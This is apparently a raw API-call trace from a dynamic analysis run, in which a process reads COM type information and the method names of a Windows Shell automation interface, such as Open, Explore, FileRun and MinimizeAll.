	[0112.686] IUnknown:QueryInterface (in: This=0x601a584, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5eaeb50 | out: ppvObject=0x5eaeb50*=0x0) returned 0x80004002
	[0112.686] IUnknown:QueryInterface (in: This=0x601a584, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5eaea44 | out: ppvObject=0x5eaea44*=0x0) returned 0x80004002
	[0112.687] IUnknown:AddRef (This=0x601a584) returned 0x3
	[0112.687] CoGetContextToken (in: pToken=0x5eae9dc | out: pToken=0x5eae9dc) returned 0x0
	[0112.687] IUnknown:QueryInterface (in: This=0x601a584, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eae9c4 | out: ppvObject=0x5eae9c4*=0x601a4e4) returned 0x0
	[0112.687] IMarshal:GetUnmarshalClass (in: This=0x601a4e4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5eae9cc | out: pCid=0x5eae9cc*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0112.687] IUnknown:Release (This=0x601a4e4) returned 0x3
	[0112.688] CoGetContextToken (in: pToken=0x5eae9d4 | out: pToken=0x5eae9d4) returned 0x0
	[0112.688] IUnknown:AddRef (This=0x601a584) returned 0x4
	[0112.688] IUnknown:QueryInterface (in: This=0x601a584, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaea48 | out: ppvObject=0x5eaea48*=0x601a56c) returned 0x0
	[0112.688] IUnknown:Release (This=0x601a584) returned 0x4
	[0112.688] IRpcOptions:Query (in: This=0x601a56c, pPrx=0x601a584, dwProperty=2, pdwValue=0x5eaea6c | out: pdwValue=0x5eaea6c) returned 0x80004002
	[0112.688] IUnknown:Release (This=0x601a56c) returned 0x3
	[0112.688] IUnknown:Release (This=0x601a584) returned 0x2
	[0112.688] CoGetContextToken (in: pToken=0x5eaee48 | out: pToken=0x5eaee48) returned 0x0
	[0112.688] CoGetContextToken (in: pToken=0x5eaee08 | out: pToken=0x5eaee08) returned 0x0
	[0112.688] IUnknown:AddRef (This=0x601a584) returned 0x3
	[0112.689] IUnknown:QueryInterface (in: This=0x601a584, riid=0x5eaee84*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaee80 | out: ppvObject=0x5eaee80*=0x697c0c) returned 0x0
	[0112.689] IUnknown:Release (This=0x601a584) returned 0x3
	[0112.689] IUnknown:Release (This=0x697c0c) returned 0x2
	[0112.689] IUnknown:Release (This=0x697c0c) returned 0x1
	[0112.689] IUnknown:Release (This=0x697b34) returned 0x2
	[0112.700] CoGetContextToken (in: pToken=0x5eaf180 | out: pToken=0x5eaf180) returned 0x0
	[0112.700] CoGetContextToken (in: pToken=0x5eaf140 | out: pToken=0x5eaf140) returned 0x0
	[0112.701] IUnknown:AddRef (This=0x601a584) returned 0x2
	[0112.701] IUnknown:QueryInterface (in: This=0x601a584, riid=0x5eaf1bc*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaf1b8 | out: ppvObject=0x5eaf1b8*=0x697c0c) returned 0x0
	[0112.701] IUnknown:Release (This=0x601a584) returned 0x2
	[0112.701] IUnknown:AddRef (This=0x697c0c) returned 0x3
	[0112.701] ITypeInfo:RemoteGetTypeAttr (in: This=0x697c0c, ppTypeAttr=0x5eaf330, pDummy=0x7c6a66d8 | out: ppTypeAttr=0x5eaf330, pDummy=0x7c6a66d8) returned 0x0
	[0112.715] IUnknown:Release (This=0x697c0c) returned 0x2
	[0112.720] ITypeInfo:LocalReleaseTypeAttr (This=0x697c0c) returned 0x1470001
	[0112.724] ITypeInfo:GetRefTypeOfImplType (in: This=0x697c0c, index=0xffffffff, pRefType=0x5eaf368 | out: pRefType=0x5eaf368*=0xfffffffe) returned 0x0
	[0112.726] CoGetContextToken (in: pToken=0x5eaf0ec | out: pToken=0x5eaf0ec) returned 0x0
	[0112.726] IUnknown:AddRef (This=0x697c0c) returned 0x3
	[0112.726] ITypeInfo:GetRefTypeInfo (in: This=0x697c0c, hreftype=0xfffffffe, ppTInfo=0x5eaf254 | out: ppTInfo=0x5eaf254*=0x697ce4) returned 0x0
	[0112.727] IUnknown:QueryInterface (in: This=0x697ce4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaeb60 | out: ppvObject=0x5eaeb60*=0x601a764) returned 0x0
	[0112.727] IUnknown:QueryInterface (in: This=0x601a764, riid=0x6f1b4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5eaeb1c | out: ppvObject=0x5eaeb1c*=0x0) returned 0x80004002
	[0112.727] IUnknown:QueryInterface (in: This=0x601a764, riid=0x6f0e0b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5eaea10 | out: ppvObject=0x5eaea10*=0x0) returned 0x80004002
	[0112.728] IUnknown:AddRef (This=0x601a764) returned 0x3
	[0112.728] CoGetContextToken (in: pToken=0x5eae9a8 | out: pToken=0x5eae9a8) returned 0x0
	[0112.728] IUnknown:QueryInterface (in: This=0x601a764, riid=0x6f0923cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eae990 | out: ppvObject=0x5eae990*=0x601a6c4) returned 0x0
	[0112.728] IMarshal:GetUnmarshalClass (in: This=0x601a6c4, riid=0x6f197714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5eae998 | out: pCid=0x5eae998*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0112.728] IUnknown:Release (This=0x601a6c4) returned 0x3
	[0112.728] CoGetContextToken (in: pToken=0x5eae9a0 | out: pToken=0x5eae9a0) returned 0x0
	[0112.728] IUnknown:AddRef (This=0x601a764) returned 0x4
	[0112.728] IUnknown:QueryInterface (in: This=0x601a764, riid=0x6f0e767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaea14 | out: ppvObject=0x5eaea14*=0x601a74c) returned 0x0
	[0112.728] IUnknown:Release (This=0x601a764) returned 0x4
	[0112.728] IRpcOptions:Query (in: This=0x601a74c, pPrx=0x601a764, dwProperty=2, pdwValue=0x5eaea38 | out: pdwValue=0x5eaea38) returned 0x80004002
	[0112.728] IUnknown:Release (This=0x601a74c) returned 0x3
	[0112.729] IUnknown:Release (This=0x601a764) returned 0x2
	[0112.729] CoGetContextToken (in: pToken=0x5eaee14 | out: pToken=0x5eaee14) returned 0x0
	[0112.729] CoGetContextToken (in: pToken=0x5eaedd4 | out: pToken=0x5eaedd4) returned 0x0
	[0112.729] IUnknown:AddRef (This=0x601a764) returned 0x3
	[0112.729] IUnknown:QueryInterface (in: This=0x601a764, riid=0x5eaee50*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaee4c | out: ppvObject=0x5eaee4c*=0x697ce4) returned 0x0
	[0112.729] IUnknown:Release (This=0x601a764) returned 0x3
	[0112.729] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.729] IUnknown:Release (This=0x697ce4) returned 0x1
	[0112.729] IUnknown:Release (This=0x697c0c) returned 0x2
	[0112.730] CoGetContextToken (in: pToken=0x5eaf054 | out: pToken=0x5eaf054) returned 0x0
	[0112.730] CoGetContextToken (in: pToken=0x5eaf014 | out: pToken=0x5eaf014) returned 0x0
	[0112.730] IUnknown:AddRef (This=0x601a764) returned 0x2
	[0112.730] IUnknown:QueryInterface (in: This=0x601a764, riid=0x5eaf090*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5eaf08c | out: ppvObject=0x5eaf08c*=0x697ce4) returned 0x0
	[0112.730] IUnknown:Release (This=0x601a764) returned 0x2
	[0112.730] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.730] ITypeInfo:RemoteGetTypeAttr (in: This=0x697ce4, ppTypeAttr=0x5eaf204, pDummy=0x7c6a66d8 | out: ppTypeAttr=0x5eaf204, pDummy=0x7c6a66d8) returned 0x0
	[0112.730] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.731] ITypeInfo:LocalReleaseTypeAttr (This=0x697ce4) returned 0x1470001
	[0112.733] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x7, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.737] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.739] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.739] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.739] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743808, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Get Application object", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.741] SysStringByteLen (bstr="Get Application object") returned 0x2c
	[0112.741] SysStringByteLen (bstr="Get Application object") returned 0x2c
	[0112.741] SysStringByteLen (bstr="Application") returned 0x16
	[0112.741] SysStringByteLen (bstr="Application") returned 0x16
	[0112.741] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.742] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x8, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.743] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.743] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.743] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.743] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743809, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Get Parent object", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.743] SysStringByteLen (bstr="Get Parent object") returned 0x22
	[0112.743] SysStringByteLen (bstr="Get Parent object") returned 0x22
	[0112.743] SysStringByteLen (bstr="Parent") returned 0xc
	[0112.743] SysStringByteLen (bstr="Parent") returned 0xc
	[0112.743] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.743] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x9, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.744] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.744] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.744] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.744] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743810, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Get special folder from ShellSpecialFolderConstants", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.744] SysStringByteLen (bstr="Get special folder from ShellSpecialFolderConstants") returned 0x66
	[0112.744] SysStringByteLen (bstr="Get special folder from ShellSpecialFolderConstants") returned 0x66
	[0112.744] SysStringByteLen (bstr="NameSpace") returned 0x12
	[0112.744] SysStringByteLen (bstr="NameSpace") returned 0x12
	[0112.744] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.745] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0xa, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.745] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.745] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.745] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.746] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743811, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Browse the name space for a Folder", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.746] SysStringByteLen (bstr="Browse the name space for a Folder") returned 0x44
	[0112.746] SysStringByteLen (bstr="Browse the name space for a Folder") returned 0x44
	[0112.746] SysStringByteLen (bstr="BrowseForFolder") returned 0x1e
	[0112.746] SysStringByteLen (bstr="BrowseForFolder") returned 0x1e
	[0112.746] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.746] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0xb, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.746] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.746] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.746] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.746] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743812, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="The collection of open folder windows", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.747] SysStringByteLen (bstr="The collection of open folder windows") returned 0x4a
	[0112.747] SysStringByteLen (bstr="The collection of open folder windows") returned 0x4a
	[0112.747] SysStringByteLen (bstr="Windows") returned 0xe
	[0112.747] SysStringByteLen (bstr="Windows") returned 0xe
	[0112.747] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.747] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0xc, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.747] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.747] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.747] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.747] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743813, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Open a folder", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.748] SysStringByteLen (bstr="Open a folder") returned 0x1a
	[0112.748] SysStringByteLen (bstr="Open a folder") returned 0x1a
	[0112.748] SysStringByteLen (bstr="Open") returned 0x8
	[0112.748] SysStringByteLen (bstr="Open") returned 0x8
	[0112.748] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.748] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0xd, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.748] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.748] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.748] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.748] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743814, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Explore a folder", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.749] SysStringByteLen (bstr="Explore a folder") returned 0x20
	[0112.749] SysStringByteLen (bstr="Explore a folder") returned 0x20
	[0112.749] SysStringByteLen (bstr="Explore") returned 0xe
	[0112.749] SysStringByteLen (bstr="Explore") returned 0xe
	[0112.749] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.749] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0xe, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.749] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.749] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.749] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.749] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743815, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Minimize all windows", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.749] SysStringByteLen (bstr="Minimize all windows") returned 0x28
	[0112.749] SysStringByteLen (bstr="Minimize all windows") returned 0x28
	[0112.750] SysStringByteLen (bstr="MinimizeAll") returned 0x16
	[0112.750] SysStringByteLen (bstr="MinimizeAll") returned 0x16
	[0112.750] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.750] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0xf, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.750] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.750] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.750] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.750] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743816, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Undo Minimize All", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.750] SysStringByteLen (bstr="Undo Minimize All") returned 0x22
	[0112.750] SysStringByteLen (bstr="Undo Minimize All") returned 0x22
	[0112.751] SysStringByteLen (bstr="UndoMinimizeALL") returned 0x1e
	[0112.751] SysStringByteLen (bstr="UndoMinimizeALL") returned 0x1e
	[0112.751] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.751] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x10, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.751] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.751] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.751] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.751] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743817, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Bring up the file run", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.751] SysStringByteLen (bstr="Bring up the file run") returned 0x2a
	[0112.751] SysStringByteLen (bstr="Bring up the file run") returned 0x2a
	[0112.751] SysStringByteLen (bstr="FileRun") returned 0xe
	[0112.752] SysStringByteLen (bstr="FileRun") returned 0xe
	[0112.752] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x11, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.752] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.752] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.752] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.752] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743818, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Cascade Windows", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.752] SysStringByteLen (bstr="Cascade Windows") returned 0x1e
	[0112.752] SysStringByteLen (bstr="Cascade Windows") returned 0x1e
	[0112.752] SysStringByteLen (bstr="CascadeWindows") returned 0x1c
	[0112.752] SysStringByteLen (bstr="CascadeWindows") returned 0x1c
	[0112.752] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.752] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x12, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.753] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.753] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.753] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.753] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743819, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Tile windows vertically", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.753] SysStringByteLen (bstr="Tile windows vertically") returned 0x2e
	[0112.753] SysStringByteLen (bstr="Tile windows vertically") returned 0x2e
	[0112.753] SysStringByteLen (bstr="TileVertically") returned 0x1c
	[0112.753] SysStringByteLen (bstr="TileVertically") returned 0x1c
	[0112.753] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.753] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x13, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.754] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.754] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.754] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.754] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743820, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Tile windows horizontally", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.754] SysStringByteLen (bstr="Tile windows horizontally") returned 0x32
	[0112.754] SysStringByteLen (bstr="Tile windows horizontally") returned 0x32
